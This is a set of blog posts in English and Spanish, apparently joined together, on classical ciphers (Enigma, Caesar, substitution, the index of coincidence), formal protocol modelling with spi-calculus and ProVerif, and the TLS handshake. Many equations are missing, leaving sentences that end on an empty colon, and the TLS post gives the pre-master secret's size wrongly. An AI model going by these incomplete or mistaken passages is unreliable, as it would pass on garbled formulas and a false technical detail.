Further, there is what seems to be a switchboard (stekker in German) with cables connecting one of the ends with another, and three rotors in the upper side of the machine. The configuration of these rotors and the cables of the stekker are the initial key of the machine.

Once the machine was initialized, it was possible to press in the keyboard the plaintext or ciphertext letters and obtain the ciphertext or the plaintext respectively. The workings of the machine were essantially as follows:

After pressing a key in the keyboard, a signal was sent through the corresponding stekker pin. Thanks to the cable configuration, this signal was transmitted to a different letter. Thus, the stekker worked as a mapping in the alphabet, where each letter was substituted by another one: a simple substitution.

Rotores de la máquina Enigma

After it, the signal went through the three rotors, reflected in the reflector and went back through the rotors (see figure). Finally, from the rotors it went again through the stekker, which performed a new substitution, and turned on the backlight of the corresponding letter. The net effect of the rotors and the reflector was again a permutation: each letter was converted into a different one.

However, if this were it, we would have no more than a simple substitution, with the only complexity of the use of an electromechanical machine. What Enigma added was a variation of the disposition of these rotors.

Each time a key was pressed, the rightmost rotor stepped one position. The middle rotor stepped in an odometer-like fashion, each time the rightmost rotor went through all of its steps. The leftmost rotor stepped in the same way, but depending on the middle rotor.

Further, it was possible to select the point where each rotor would step. This means that it could be when the previous rotor reached the initial position, but it could be in a different position. We could set it, for instance, to step when the previous rotor had stepped 5 times. From there on, it would step every time the initial rotor was in that position.

Therefore, Enigma was a cipher where each letter was encrypted with a different simple permutation of the alphabet... but with an enormous number of possible permutations.

For a more detailed analysis of the Enigma machine, please refer to the aforementioned book, where the way the machin works is analysed, the key space size (i.e. number of possible keys) is computed and an attack is presented.

Friedman's test or the incidence of coincidences

This method, discovered by William F. Friedman in the 1920s, is based on computing the index of coincidences of the cryptogram's letters. The idea is that for two random letters from the cryptogram to be the same, there is a possibility that they were also the same in the original plaintext if the number of letters they have in between is a multiple of the key length.

Basically, we'll take the X first letters of the cryptogram and the X last letters, and count the number of coinciding letters in the same position. Finally, we'll divide this number by the number of letters taken and then we will have the index of coincidence.

Considering a source providing independent characters with the frequency distribution of English, and uniformly distributed characters for the key (i.e. all letters with the same frequency, 1/26 for the English alphabet), we have that:

• The probability that any two letters are the same is approximately 0.0385 when X is not a multiple of the key length
• The probability that any two letters are the same is approximately 0.0688 when X is a multiple of the key length.

So, with this process wi can determine that high values for the index of coincidence will mean that the shifted distance X is a multiple of the key length, and this way we will determine the most likely key length.

Let's see how we get these probabilities, so that we are able to obtain them in case of having a language different than English. We simply have to consider that for any two ciphertext characters and to coincide, the following relation must hold:

Then, we consider two different cases: if L divides i-j, then , since in that case we have that  . So, the probability for this case is:

However, when i-j is not a multiple of L, then for the two ciphertext characters to be equal the following equation needs to hold

But as we said before, the distribution of key characters is uniform, and therefore this probability is:

That's it for today. This time there is no example, but stay tuned cause we'll see an exercise soon

And I hope next week I'm able to post some practical exercise using Cryptool to analyze a Vigenère cipher or something alike.

This post will study one of the most known classical ciphers, the Caesar cipher, and other similar ciphers.

Caesar Cipher

Caesar's cipher, named after Julius Caesar, is a substitution cipher that simply substitutes each letter by the letter K positions to the right in the alphabet. So, for a K value of 3, A would be encrypted as D, B as E, C as F and so on.

In mathematical terms, considering an alphabet with 26 letters, where A would be letter 0 and Z letter 25, we can define these encryption and decryption operations as:

Where means reducing the result modulo 26, or in simpler terms, if the result is above or below the 0-25 range, we would add/subtract 26 as many times as needed to make it fall into this range.

As you can see, very simple. For instance, if we encrypt the sentence CRIPTOGRAFIA PARA TODOS under key 5, we get the following ciphertext: HWNUYTLWFKNF UFWF YTITX.

Here we can already see one of the weaknesses of this cipher: the structure of the plaintext remains. As you can see, last word in the message starts with a Y, then it has two T's, one I and one X. Therefore, we know that this word has the second and fourth letter identical. Also second and fourth letters are identical in the second word, but different to the ones in the last word.

This, in a large text and within a context, could lead us to decipher great part of the text. For instance, knowing that it's a text about information security, we can try to find words with the same structure as security or information and map these letters for all the text. With this, we would have parts of other words, and with some luck we would be able to obtain more letters by guessing those words. Continuing like this, at the end we would have the complete text.

Another tool that allows us to easily analyse this kind of ciphers is frequency analysis, which we mentioned previously. If we take a text encrypted using this system and count the number of appearances of each letter, and then obtain (or generate) a table of relative frequencies for the target language, we can match the most frequent letter in the ciphertext and the most frequent letter in the target language.

Then, since the same shift is applied to all the letters, we would have the key and would be able to obtain the complete message. In case of getting a non-sense message, we could try with the second most frequent letter instead of the first one. Since it's a statistical analysis, it's possible that the character distribution in our text doesn't completely match the original distribution, but will certainly be similar.

Simple substitution ciphers

Caesar's cipher we just analysed is one of the so-called simple substitution ciphers, which always substitute each symbol of the input alphabet by a given symbol of the output alphabet.Besides Caesar's cipher, Atbash cipher is another quite famous substitution cipher, where each the alphabet is inverted: A->Z, B->Y, ... Y->B, Z->A.

But not only these two simple substitution ciphers exist. We can create any modification of the input alphabet as output alphabet. Even then, all these ciphers suffer from the same problem: the structure is maintained and they are quite easy to break using frequency analysis and word matching.

Example: Breaking a simple substitution cipher

This time I encrypted an English text. This is how the ciphertext looks like:

ZL VAGRERFGF NOBHG FRPHEVGL ERYNGRQ GBCVPF UNIR QEVSGRQ N YVGGYR OVG, ZBIVAT SEBZ CHER FBSGJNER NAQ ARGJBEXVAT FRPHEVGL GB PELCGBTENCUL NAQ CENPGVPNY NGGNPXF BA PELCGBTENCUVP VZCYRZRAGNGVBAF, YVXR FVQR PUNAARY NANYLFVF NGGNPXF.

VA GUVF EROBEA OYBT V JVYY GEL GB VAGEBQHPR GUR ERNQREF VAGB GURFR GBCVPF JVGUBHG TRGGVAT VAGB GBB PBZCYRK ZNGUF. GUR NVZ VF GB CEBIVQR NA HAQREFGNAQVAT BS PELCGBTENCUL JVGUBHG UNIVAT ERNQREF YBFG BA ZNGURZNGVPNY PBAPRCGF. LBH JVYY GRYY JURGURE V NPUVRIR GUVF TBNY BE ABG.

Looks pretty complicated, doesn't it? Let's see how to approach this example, assuming this is a simple substitution cipher. First of all, we're gonna count how many times appears each letter, and then divide it by the total number of letters. I've done it with this simple program I quickly coded, although it's possible to do it with Cryptool but I don't have it available right now.

Once it's done, we sort it by frequency. For instance, copy-pasting the output of the program into a spreadsheet in Google Docs and pressing order by the corresponding column. The top 3 letters are:

G     52    0.124402

R     38    0.090909

V     37    0.088517

So, we go to a frequency table for English (here) and see that E is the most frequent letter in this language. Now we subtract 'G'-'E'=7. If we apply this key using a Caesar's cipher, we just get garbage. However, if we take 'R' as 'E, then 'R'-'E'=13. Deciphering using Caesar's cipher, we get:

MY INTERESTS ABOUT SECURITY RELATED TOPICS HAVE DRIFTED A LITTLE BIT, MOVING FROM PURE SOFTWARE AND NETWORKING SECURITY TO CRYPTOGRAPHY AND PRACTICAL ATTACKS ON CRYPTOGRAPHIC IMPLEMENTATIONS, LIKE SIDE CHANNEL ANALYSIS ATTACKS.

IN THIS REBORN BLOG I WILL TRY TO INTRODUCE THE READERS INTO THESE TOPICS WITHOUT GETTING INTO TOO COMPLEX MATHS. THE AIM IS TO PROVIDE AN UNDERSTANDING OF CRYPTOGRAPHY WITHOUT HAVING READERS LOST ON MATHEMATICAL CONCEPTS. YOU WILL TELL WHETHER I ACHIEVE THIS GOAL OR NOT.

Much more readable Don't you recognize it? Look at http://www.limited-entropy.com/en/about

We've decrypted the text, although not at our first try, but at our second. Another option would have been using 'G' as 'T', since T is the second most frequent letter in English. The result is exactly the same.

However, facing an unknown transformation, we would have been to play with other hints besides frequency analysis. For instance, we could use the fact that we expected to see CRYPTOGRAPHY in the text, and assign this word to the only word in the ciphertext that has the same letter in the third and the last position. Then, we would substitute all its letters in the ciphertext and would see if it makes any sense.

From there, we just need to continue on guessing letters... kind of a puzzle

That's it for today, I hope you're liking it . Questions and comments are more than welcome!

• Ciphertext-only: The cryptanalyst knows only the ciphertext, and often also some information about the context of the message.
• Known-Plaintext: The cryptanalyst knows pairs of plaintexts and corresponding ciphertexts.
• Chosen-Plaintext: The cryptanalyst is able to choose plain texts and obtain their corresponding ciphertexts.
• Chosen-Ciphertext: The cryptanalyst can choose any ciphertext and obtain its corresponding plaintext.

Although the final two kinds could seem to be identical, there is a big difference mainly when applied to public key algorithms. In these algorithms, it is usually very easy to encrypt any plaintext. Thus, these algorithms need to withstand chosen-plaintext attacks. However, a chosen-ciphertext attack would require a decryption oracle, which would return any ciphertext decrypted without exposing the decryption key.

Cryptography is the science studying information protection, both unauthorized accesses/uses and modification of the information. Cryptography is only about using algorithms to protect this information, while Cryptanalysis is about studying techniques to break this protection, those algorithms designed by cryptographers. It's clear that both sides are intimately related, and both of them are grouped in what is known as Cryptology.

A Cryptosystem is made of the following components:

• Messages: The group of all the messages that one can encrypt. Also known as plaintext.
• Ciphertexts: The group of all encrypted messages.
• Keys: The group of all the secrets that can be used to obtain a ciphertext from a plaintext.
• Encryption and Decryption algorithms: The algorithms or transformations that need to be applied to a plaintext in order to convert it into a ciphertext or back, using a secret key.

Un Criptosistema o Sistema Criptográfico consta de los siguientes componentes:

• Mensajes: Es el conjunto de todos los mensajes que se pueden cifrar. El llamado texto en claro o plaintext.
• Criptogramas: El conjunto de todos los mensajes cifrados. En inglés llamado ciphertext.
• Claves: El conjunto de secretos que se pueden utilizar para obtener un criptograma en base a un mensaje.
• Algoritmos de cifrado y descifrado: Los algoritmos o transformaciones necesarias para convertir un mensaje en su correspondiente criptograma y viceversa, haciendo uso de una clave secreta.

So, given a cryptosystem with its encryption algorithm, which we denote as , and its corresponding decryption algorithm ( ), the following equation must hold:

Where k y k' are the corresponding encryption and decryption keys. These keys might be identical (symmetric crypto) or different (asymmetric crypto), as we'll see later.

This means that when you decrypt a message encrypted under key K using its corresponding decryption key K', you obtain the original message. Obvious, isn't it?

The figure below shows the conventional cryptosystem as depicted by C.E. Shannon in its book Communication Theory and Secrecy Systems.

Cryptosystem scheme

Finally, to finish this post about basic concepts, we'll see how to statistically characterize a message source. Statistical characterization of a language is a quite powerful tool on its own when it's about analyzing a cipher, specially in case of basic ciphers as we'll see in the next post.

Let's imagine a message source that produces messages in a given language, for instance Spanish. We can try to characterize the source by  means of the probability that a certain character appears in the text, independent of the rest of the text.

Thus, a character c would appear with a probability . With this characterization, the word hola would appear with a probability of:

A slightly more powerful option would be characterizing the language as a series of bi-grams (i.e. groups of two characters) with a given probability. In this case, the word hello would have the following probability:

However, this option besides being an identical concept to the former one, requires of much bigger frequency tables and more effort to characterize the message source.

A question that might arise now is how would we manage to  obtain a table of relative frequencies for each one of the letters. Basically, we would take a sufficiently large text in the given language and count the number of times each letter appears. Then we divide this number by the total of letters in the text, and get its relative frequency. Frequency tables can be seen in Frequency Analysis [Wikipedia].

Next time we'll see how this frequency characterization with independent charactes can be useful to break basic ciphers.

• Introducción
• Modelado (I)
• Modelado (II)

Ahora nos toca ver cómo completamos nuestros modelos mediante la inclusión de los objetivos del protocolo en ellos. En spi-calculus, para modelar el objetivo de confidencialidad simplemente usamos aserciones ( secrecy assertions en inglés ). Las aserciones son mecanismos que no modifican el flujo del modelo ( no influyen en la semántica operacional ) y simplemente indican que un agente espera que un determinado valor se mantenga secreto. Por ejemplo, podríamos escribir:

Pa = new s; ( secret(s) | out net {s}kab)
Pb= inp net x; decrypt x is {s}kab; secret(s)

De esta forma, se especifica que ambos agentes creen que s es un secreto.

Por otra parte, para especificar opciones de autenticidad nos valemos de aserciones de correspondencia ( correspondence assertions ). Esto simplemente significa que el agente que inicia la autenticación iniciará la aserción de correspondencia con unos parámetros, y el que la acaba la finalizará. Para que todo vaya bien, si existe una finalización debería haber existido antes una inicialización con los mismos parámetros.

Espero que se vea mejor con este ejemplo tomado de los apuntes de Cristian Haacks como una narración informal:

A begins! Send (A, m, B)
A ? S : A, {B, m}kas
S ? B : {A, m}kbs
B ends Send (A, m, B)

Así pues, decimos que es seguro si no existe la posibilidad de que se ejecute el B ends Send(A,m,B) sin que antes e haya ejecutado un A begins! Send(A,m,B). Para acabar, el ! indica que esta aserción se repite indefinidas veces, es decir que un evento begin puede corresponderse con un end repetidas veces. Un ejemplo de esto sería una firma digital, puesto que la firma se puede comprobar muchas veces y siempre será válida. Sin embargo, a veces interesa que solo se de una vez, para garantizar la frescura de la información y evitar replay attacks.

Para ello, se usan eventos inyectivos, que se modelan sin el ! y simplemente un begin puede corresponderse con un end, y nunca más. Para conseguir esto, los protocolos hacen uso de números de secuencia, nonces (number used once), timestamps o similares.

Realmente hay un poco más de chica por aquí detrás con cómo se propagan estos eventos por los canales y demás, pero vamos a dejarlo en que se considera seguro si esto ocurre, ya que en caso contrario significaría que el atacante puede forzar a B a ejecutar un end Send(A,m,B) sin que realmente A haya mandado el mensaje B, lo cual viola la autenticación.

También hay un poco más de teoría respecto a Spi-calculus y procesos seguros respecto a confidencialidad, que especifica qué procesos se pueden denominar así. Intuitivamente, son aquellos procesos en los que no existe ninguna manera de llegar a algo que escriba un secreto en un canal público mediante la semántica operacional de spi-calculus.

Ahora bien, después de este rollo, cómo nos lo montamos con ProVerif para especificar estas propiedades? Pues es bastante sencillo:

Las metas de confidencialidad, simplemente se especifican en la zona de declaraciones con una query tal que así:

query attacker: s.

Donde s es el valor que queremos que sea secreto. El problema es que ProVerif usa macros y los nombres son globales, así que si creamos dos nombres iguales en distintos procesos y hacemos una query, irá para los dos. Además, si usamos variables para las queries, siempre dará que el atacante puede obtenerlo mientras que no es necesariamente cierto.

Para este caso, lo que podemos hacer es generar un flag único y pedir a ProVerif que nos diga si el flag puede obtenerse. Por ejemplo, imaginemos la variable M que ha sido obtenida mediante tras leer de la red. Si queremos que sea secreta, deberíamos hacer algo como:

query attacker: M.
process (*otro_proceso*)|(in(net,M))

Pero entonces ProVerif nos dirá que el atacante puede obtener M, ya que es una variable. Lo que haríamos sería:

query attacker:flagM.
process (*otro_proceso*)|(in(net,M);out(M,flagM);)

En este caso, si el atacante puede conocer M podrá leer del canal M, con lo que podrá obtener el flag y la query fallará. Si no, no podrá obtener el flag y no fallará.

Por otra parte, las aserciones de correspondencia se transforman en eventos, y podemos especificar que un evento debe estar precedido por otro. Un ejemplo sacado de mis códigos de ProVerif sería:

query evinj : endSendToInit(x,y,z) ==> evinj : beginSendToInit(x,y,z).
query evinj : endSendToResp(x,y,z) ==> evinj : beginSendToResp(x,y,z).
query evinj : endAckToInit(x,y,z) ==> evinj : beginAckToInit(x,y,z).
query evinj : endAckToResp(x,y,z) ==> evinj : beginAckToResp(x,y,z).

Aquí estamos diciendo que el evento endSendToInit(x,y,z) debe estar precedido por el evento beginSendToInit(x,y,z), y lo mismo para el resto de eventos. La palabra clave evinj indica que se trata de una correspondencia inyectiva, es decir uno a uno. Si usaramos ev en su lugar se trataría de correspondencia no inyectiva, muchos a uno.

Por último, comentar que es posible especificar en ProVerif la propiedad de no interferencia ( non-interference ), que significa que un atacante no será capaz de distinguir una ejecución del protocolo de otra cambiando los valores de las variables de las que deseamos preservar dicha propiedad.

Dicho más sencillo: que no se puede obtener ninguna información de las variables, ni siquiera si son iguales o distintas de una ejecución a la otra. Por ejemplo, esto no cumpliría dicha propiedad:

P(x) = out(net,{x}k);

Puesto que si {x1}k es igual a {x2}k, entonces x1 es igual a x2. Para resolverlo usaríamos cifrado no determinístico, que simplemente añade una parte aleatoria al mensaje. Algo así:

P(x) = new n; out(net,{(x,n)}k);

De esta forma, como n es aleatorio y presumiblemente diferente cada vez, que el texto cifrado sea igual no implica que el contenido lo sea.

Para especificar esta propiedad, en ProVerif escribiremos por ejemplo:

noninterf x1,x2.

Y luego modelaremos dos procesos en paralelo, uno con x1 y otro con x2. Tras ejecutar ProVerif (que ya veremos cómo se hace en otro post) nos dirá si se puede distinguir entre ellos o no.

Esto es todo de momento... sigo dandoos el coñazo con teoría que puede que no se entienda mucho , pero en el próximo post explicaré cómo ejecutar ProVerif y un pequeño ejemplo con varias cosas juntas, y después en el siguiente analizaremos el modelo de TLS que puse hace un tiempo.

Si alguien está leyendo esto, que comente si se entiende más o menos o algo ( Y quien lo esté leyendo es todo un campeón xD)

Un archivo fuente de ProVerif puede estar en spi-calculus o mediante cláusulas de Horn. Nosotros solo vamos a ver spi-calculus entre otras cosas porque yo de cláusulas de Horn ni idea . Los archivos fuente .pi tienen varias partes que vamos a ver por separado:

Declaración de nombres

Generalmente al inicio del código se declaran los nombres que se van a usar en el modelo. Esto suele incluir los canales de comunicación públicos, identificadores de usuario, tags para los mensajes, etc.

La sintaxis es sencilla: [private] free nombre. declararía nombre, donde el atributo opcional private indica que solo se puede usar si está explícitamente escrito en el modelo. Es decir, el atacante no tendrá acceso a dicho nombre si anteponemos la palabra private en su declaración.

Constructores y reglas de reducción

Estos son un mecanismo genérico para modelar operaciones como cifrado/descifrado, hashes, derivación de claves a partir del identificador de agente y otros. Básicamente, definimos un constructor como una función de varias variables, y una regla de reducción para poder deshacer lo que hizo el constructor.

La sintaxis es como sigue:

fun constructor/n.
reduc destruct(construct(...),...) = ... .

Con un ejemplo queda claro enseguida. Lo siguiente sería para definir cifrado/descifrado de forma simétrica:

fun encrypt/2
reduc decrypt(encrypt(x,y),y) = x.

Como se puede ver, definimos un constructor con 2 parámetros, y definimos un destructor de forma que si aplicamos decrypt(c,y) donde c ha sido construido como encrypt(x,y), entonces devuelve x. Es decir, y en este caso sería la clave, y x el mensaje a cifrar.

Para un hash, simplemente definiríamos un constructor con 1 único mensaje y sin definir un destructor. De esta forma tenemos una función no invertible perfecta y sin colisiones.

Macros de procesos

Se pueden definir macros de procesos para hacer el código más legible. La sintaxis es:

let proceso = <codigo_del_proceso>.

De esta forma, podemos definir los distintos roles del protocolo en macros separadas y luego juntarlas en el proceso principal.

Proceso principal

Finalmente, el proceso principal se define de la siguiente forma:

process
...

Donde en ... podemos referirnos a los procesos creados mediante macros por su nombre, y ProVerif los sustituirá directamente ahí, de forma textual. No se debe pensar en ellos en forma de funciones, sino simplemente que se reemplazará cualquier aparición de su nombre por el contenido definido en la macro.

Consultas

Además, ProVerif permite especificar consultas, que normalmente ponemos después de las declaraciones de nombres. Esto nos permite verificar si se cumplen los objetivos del protocolo, pero lo veremos en otro post cuando veamos cómo modelar los objetivos.

Diferencias con spi-calculus

Existen algunas diferencias con spi-calculus en la sintaxis, por ejemplo en la forma de escribir/leer a/de un canal de comunicación, la forma de dividir tuplas y algunas cosillas más. Lo mejor es que veamos un ejemplo del protocolo que pusimos en el post anterior para aclarar todo.

Ejemplo

Veamos cómo modelar en ProVerif el protocolo simple del post anterior. La narración informal del protocolo era tal que así:

A->B: (M,A)
B->A: N
A->B: {| #(M,B,N) |}sA
En primer lugar, generaremos los nombres de usuario, el canal de comunicación y los constructores:

free net, A,B,Sign.
fun hash/1.
fun pencrypt(x,enc(y)).
reduc pdecrypt(pencrypt(x,enc(y)),dec(y)).

Como se puede adivinar, pencrypt/pdecrypt definen la criptografía de clave pública que usaremos, donde enc() y dec() identifican la parte de cifrado y la parte de descifrado de un par de claves.

Seguidamente, veremos el proceso A y B:

let procA = new m;out(net,(m,A));in(net,n);out(net,pencrypt((m,n,B),enc(kpa) ).
let procB = in(net,(m,=A));new n;out(net,n);in(net,signed); let (=m,=n,=B) = pdecrypt(signed,dec(kpa)) in 0.

En este caso, he asumido que kpa es el par de claves de A y lo he usado directamente en los procesos, aunque aun no lo hemos generado. Como se puede ver, es mucho menos engorroso que spi-calculus directamente, puesto que permite especificar coincidencias en los mensajes leídos del canal, leer directamente varios valores sin tener que hacer primero el inp y luego el split, etcétera.

Finalmente, nos falta definir el proceso que los junte:

process
new kpa; ( procA | procB )

Con esto tendríamos modelado el protocolo, aunque no habría ningún objetivo especificado y realmente ProVerif no hará nada.

En los próximos posts veremos cómo modelar los objetivos y cómo leer la salida de ProVerif, que es capaz incluso de dar ataques en algunas ocasiones.

Empezamos con una manera informal de definir protocolos, seguimos con spi-calculus, y finalmente vemos la sintaxis concreta de ProVerif. En el siguiente post tocará ver cómo modelamos los objetivos de los que hablamos en el post anterior, y en el último veremos paso por paso un modelo concreto.

Narraciones informales

Veamos primero como narrar de forma informal los protocolos criptográficos. En primer lugar, necesitamos una serie de primitivas para definir los mensajes:

• Tuplas: (m1,m2,...,mn)
• Cifrado simétrico: { M }k
• Cifrado asimétrico: {| M |}pk
• Hashes: #( )

Además de esto, necesitamos nonces, que son números de un sólo uso que (en nuestro modelo) son imposibles de adivinar, y claves, que también asumimos inadivinables.

Con esto, podemos por ejemplo modelar el siguiente protocolo:

A->B: (M,A)
B->A: N
A->B: {| #(M,B,N) |}sA

Donde sA es la clave privada de A para realizar firmas criptográficas y N es un nonce que B genera para que la firma de A sea válida solo una vez. En caso de no usar ese nonce, la firma podría haber sido mandada por un atacante ( replay atack ). Imagina este protocolo:

A->B: (M,A)
B->A: Sign
A->B: {| #(M,B) |}sA

En lugar de un nonce, B solo pide la firma de A. En este caso, un atacante podría reenvíar lo mismo más tarde...y por ejemplo B es tu banco y M un mensaje "pagame 1.000.000$" ya la hemos liado

Creo que con esto quedan claras las narraciones informales, que nos definir un protocolo pero dejan muchos detalles implícitos: comprobaciones al recibir los mensajes, número de agentes en el protocolo, quién y cuándo se generan los mensajes (M,N en este caso), etcetera.

Así pues, necesitamos de un formalismo para definir mejor los protocolos de forma que todo quede tan explícito como sea posible: spi-calculus.

Spi-calculus

El lenguaje spi-calculus está definido por una serie de mensajes, procesos que se pueden componer en serie o en paralelo y una semántica operacional que define cómo evolucionan dichos procesos. Por ejemplo, si se tiene un proceso que escribe en un canal dado, y se tiene otro que lee de dicho canal en paralelo en la variable x, entonces la semántica operacional nos dice que en un paso se puede ir de esta construcción a una en la que sustituiremos todos los valores de la variable x detrás de la lectura del canal en el segundo proceso por el valor escrito por el primero.

No voy a explicar aquí todo el spi-calculus, simplemente os dejo este link a un resumen del mismo, y ahora pongo un ejemplo porque el parrafo anterior queda bastante confuso. El siguiente fragmento de código sería el equivalente al protocolo anterior:

Pinit(a,b,sa)= new m; out net (m,a); inp net x; if x=Sign then out net {| #(m,b) |}
Presp(b,a,pa)=inp net x; split x is (m,a); out net Sign; inp net x; decrypt x is {| z |}pa^-1; if z = #(m,b) stop
Pprotocolo = new a;new b;new kpa; new kpb; !Pinit(a,b,enc(kpa)) | !Pinit(b,a,enc(kpb)) | !Presp(b,a,dec(kpa)) | !Presp(a,b,dec(kpb))

De esta forma, tenemos que Pinit es un proceso que genera un mensaje, lo manda a la red, espera a recibir Sign y manda a la red una firma sobre el hash de (m,b). Presp realiza la otra parte del protocolo, y Pprotocolo une todo dando los parámetros adecuados para que pueda haber infinitas sesiones donde ambos agentes a y b puedan funcionar tanto de iniciador como de receptor.

Echando un ojo a la semántica operacional, se puede ver que yendo paso a paso podemos ejecutar el protocolo gracias a spi-calculus. Espero que con este ejemplo y el documento con el resumen de la sintaxis y la semántica se medio entienda, aunque realmente no vamos a usar spi-calculus como tal sino una versión modificada que paso a explicar en otro post ya que se está haciendo demasiado largo y queda un poquito sobre el lenguaje usado por ProVerif.

Sé que este post ha podido quedar demasiado teórico y muy resumido, pero lo interesante está por llegar. En el próximo modelaremos el mismo protocolo mediante ProVerif, pero sin añadir objetivos de seguridad al mismo. Después veremos cómo modelar los objetivos y los añadiremos al modelo, para poder comprobar su seguridad.

En este primer post introduciremos las principales propiedades de los protocolos y el modelo que usamos. En el próximo post veremos rápidamente cómo definir protocolos mediante narraciones informales, la sintaxis del lenguaje spi-calculus para modelado de protocolos criptográficos, y la generalización utilizada en ProVerif. Después de esto, vendrá un post sobre cómo modelar las propiedades básicas en spi y ordenar consultas en ProVerif. Finalmente, despiezaremos en un último post una parte del modelo de TLS, sin implementar ningún mensaje opcional ni
resumen de sesiones.

Objetivos de los protocolos criptográficos

La siguiente lista muestra unos cuantos objetivos básicos en sistemas de seguridad:

• Confidencialidad: Este objetivo se traduce en que un atacante no pueda obtener información sobre ciertos datos del protocolo. Existen dos nociones, la estandar que simplemente implica que no se puede obtener el contenido de los mensajes, y otra más fuerte ( non-interference ) que implica que no se puede deducir nada sobre los mensajes, ni siquiera si dos mensajes mandados tienen el mismo contenido.

• Autenticación: Trata de asegurar que el origen del mensaje es realmente quien dice ser ( autenticación de origen). También existe autenticación de usuario, verificando que un usuario es quien dice ser.

• Integridad: Asegura que los datos no han sido modificado

• No repudio: Asegura que el origen de los datos no pueda negar que los haya enviado ( no repudio de origen) o el destino no pueda negar que los haya recibido ( no repudio de destino ).

Existen otras metas, pero estas dan una idea del tipo de objetivos que puede tener un protocolo de seguridad. Por supuesto cada protocolo está pensado para una situación concreta y puede que tenga algunos de estos objetivos o no.

Modelo black box ( Dolev-Yao )

Para poder verificar las propiedades de un protocolo formalmente, necesitamos modelar dicho protocolo de alguna forma. En nuestro caso usaremos el modelo Dolev-Yao. Este modelo asume que la criptografía es perfecta y que el atacante puede interceptar, modificar o eliminar cualquier mensaje transmitido. Es decir, el atacante controla completamente el canal de comunicación.

La criptografía idealizada que asume este modelo tiene como consecuencia que sin la clave no se puede obtener ninguna información al respecto del contenido, ni tampoco modificarlo. Por tanto la integridad de los mensajes está asegurada... aunque no su origen. Además, las claves son imposibles de adivinar o extraer del texto cifrado y los números aleatorios y los hashes son perfectos.

Por tanto, mediante este modelo solo podremos encontrar fallos independientes de la criptografía. Fallos del protocolo en sí, en la lógica o en la interpretación de mensajes cifrados con la misma clave pero distintos formatos, etc

De momento lo dejamos aquí, el próximo post como he dicho al principio, narraciones informales, spi-calculus y spi-calculus genérico de ProVerif.

Supondremos que tenemos dos partes implicadas en el protocolo, A y B (de Alice y Bob ), y una autoridad de certificación CA, cuya clave pública es conocida bajo Kca. Con esto, el establecimiento de una sesión TLS mediante la cual se negocia una clave vendría a ser algo como:

A -> B: A, Na, emptyId
B -> A: Nb, Sid
B -> A: {|B, KB |}Kca^-1
A -> B*: {|A, KA |}Kca^-1
A generates a random PMS (Pre Master Secret)
A begins ClientAuth(A, PMS)*
A -> B: {|PMS|}Kb
B begins ServerAuth(B, PMS)
A -> B*: {|#(Nb, B, PMS)|}Ka^-1
B ends ClientAuth(A, PMS)*
A and B generate:
M = PRF(PMS, Na, Nb), finished = #(M, Sid, Na, Nb, A, B).
A -> B: {finished}ClientK(Na,Nb,M)
B -> A: {finished}ServerK(Na,Nb,M)
A ends ServerAuth(B, PMS)

Donde {|m|}k significa cifrar el mensaje m con la clave k mediante criptografía asimétrica. Por tanto, cuando usamos kb estamos cifrando, mientras que si usamos kb^-1 estamos usando la clave privada y por tanto firmando. Además, #(m) significa un hash criptográfico del mensaje m, y {m}k significa cifrar m mediante la clave simétrica k.

Como se puede observar, el cliente inicia la sesión enviando un nonce y un identificador de sesión vacío. Un nonce es un número aleatorio con el objetivo de garantizar la frescura de la sesión y de la clave generada por ésta. Además, aunque lo he obviado aquí, se envían preferencias de cifrado con las opciones que soporta el cliente para el cifrado asimétrico, simétrico y el hashing.

El servidor responde con un nuevo nonce y un nuevo identificador de sesión. Además también añade sus preferencias criptográficas, que son seleccionadas en base a las del cliente y determinan los algoritmos usados en la sesión. Como ya he dicho, se ha obviado y asumismo que están de acuerdo (o que solo existe una posible opción).

Seguidamente el servidor manda su certificado ( es decir, su identidad y clave pública firmadas por la autoridad de certificación), y el cliente opcionalmente el suyo (el * significa opcional). Después el cliente envía PMS cifrado con la clave pública del servidor; el pre master secret (PMS), que es una cadena aleatoria de 48 bits, se supone secreto y compartido entre ambas partes, y será la base para generar la nueva clave de sesión.

Tras esto, si el cliente mandó su certificado (si se requería autenticación del cliente) se manda un hash de algunos elementos recibidos firmados con su clave privada, para que el servidor pueda verificar su identidad.

Seguidamente, ambas partes crean un nuevo Master secret, M, con una función pseudoaleatoria en base a los nonces y el PMS. Además, crean finished como un hash de todos los mensajes anteriores e intercambian el valor de finished mediante las nuevas claves para ver que ambos han llegado al mismo resultado.

Como se puede ver, se utilizan dos claves distintas para servidor y cliente. Además se generan dos claves para usarlas en códigos de autenticación de mensajes que no se muestran aquí ya que no se han usado. Todas las claves se generan en base al PMS y los nonces. De esta forma, todas las partes pueden influenciar de la misma manera la clave, y una sola parte no es capaz de predeterminar una clave concreta.

Los begin y ends son lo que llamamos aserciones de correspondencia (traducido on-the-fly de correspondence assertions ). Sirven para especificar objetivos de autenticación al analizar el protocolo, y se debe probar que para que ocurra la finalización del evento ( end xxx(a,b,c) ) debe haber ocurrido antes un begin xxx(a,b,c). De esta forma, cuando el servidor hace "B begins ServerAuth(B, PMS)", se inicia una sesión de autenticación del servidor ante el cliente. Cuando el cliente puede asumir que está hablando con el servidor B, entonces puede hacer el end correspondiente. Si se consigue que ocurra un end antes que su correspondiente start significa que de alguna forma un atacante ha hecho que el cliente asuma que está hablando con el servidor de confianza mientras que éste no ha iniciado la sesión.

Por último, el protocolo permite resumir una sesión simplemente reusando un identificador de sesión en el primer mensaje en lugar de mandar el identificador nulo. En este caso, la narración queda así

A -> B: A, Na, Sid
B -> A: Nb, Sid
A and B generate: PMS is looked up in a database
M = PRF(PMS, Na, Nb), finished = #(M, Sid, Na, Nb, A, B).
A -> B: {finished}ClientK(Na,Nb,M)
B -> A: {finished}ServerK(Na,Nb,M)

Como se puede ver, lo único que se obtiene de la sesión anterior es el PMS, mientras que M es generado de nuevo con los nuevos nonces. De esta forma, se crean nuevas claves que serán presumiblemente seguras incluso si las anteriores han podido ser obtenidas, siempre que PMS haya permanecido secreto.

Esto es todo de momento, a ver si puedo poner nuestro modelo de ProVerif de este protocolo para que veáis más o menos cómo funciona... pero primero esperaré a tener la corrección del profesor . Si algo no está bien explicado o no queda claro de este post, no dudéis en decirlo en los comentarios

Con p y q primos, se pueda calcular x ( mod p·q ) a partir de ellos y dos resultados auxiliares.

